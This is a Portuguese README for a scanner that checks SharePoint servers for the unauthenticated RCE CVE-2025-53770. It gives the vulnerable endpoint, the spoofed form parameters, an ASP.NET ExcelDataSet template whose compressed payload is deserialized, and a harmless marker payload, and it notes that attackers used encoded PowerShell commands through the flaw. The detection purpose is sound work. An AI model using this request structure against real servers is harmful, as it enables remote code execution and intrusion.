
Scanner para a vulnerabilidade de dia zero RCE CVE-2025-53770 do SharePoint (fork de hazcod/CVE-2025-53770)
Este é um scanner para a vulnerabilidade de Execução Remota de Código não autenticada do SharePoint, à qual foi atribuído o número CVE-2025-53770. O código foi escrito por meio de engenharia reversa de um payload observado em campo.
Use por sua conta e risco; não sou responsável por qualquer impacto negativo que isso possa causar.
Ele tenta explorar a vulnerabilidade injetando um marcador no widget ToolBox do SharePoint. Se esse marcador inofensivo for encontrado na resposta do servidor SharePoint, o host é marcado como vulnerável.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Qualquer pessoa que execute a versão on-prem do servidor SharePoint sem o KB5002768 e o KB5002754.
A vulnerabilidade presumivelmente se baseia em uma vulnerabilidade anteriormente divulgada para o SharePoint, a CVE-2025-49706.
Ao enviar uma solicitação HTTP POST para https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx com um payload comprimido em GZIP e codificado em BASE64, é possível alcançar a Execução Remota de Código como o processo de runtime do SharePoint.
Dois parâmetros de formulário são importantes aqui:
MSOTlPn_Uri: Caminho de origem do controleIsso finge referenciar um controle legítimo do SharePoint (AclEditor.ascx) e engana o SharePoint para permitir a edição da web part.
Parece ser um valor fictício/falso apenas para passar na validação.
O payload malicioso original inclui MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, mas isso não parece ser usado neste ponto.
MSOTlPn_DWP: Configuração parcial da Web.Este parâmetro injeta diretivas ASP.NET personalizadas (<%@ Register %>) e marcação do lado do servidor (<Scorecard:ExcelDataSet>).
O parâmetro CompressedDataTable contém dados serializados controlados pelo atacante (GZIP + base64), acionando a RCE.
Esse payload segue uma determinada estrutura:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Se um controle como Scorecard:ExcelDataSet existir e sua propriedade CompressedDataTable estiver definida, ele é desserializado diretamente pelo Parser DWP do SharePoint.
O payload em si pode ser bastante interessante, pois pode conter um System.DelegateSerializationHolder que aciona uma RCE por desserialização.
Atores de ameaças abusaram disso para passar /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> em seus payloads e alcançar a execução de código.
No nosso caso, apenas passamos um espaço reservado estático para comprovar a explorabilidade;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>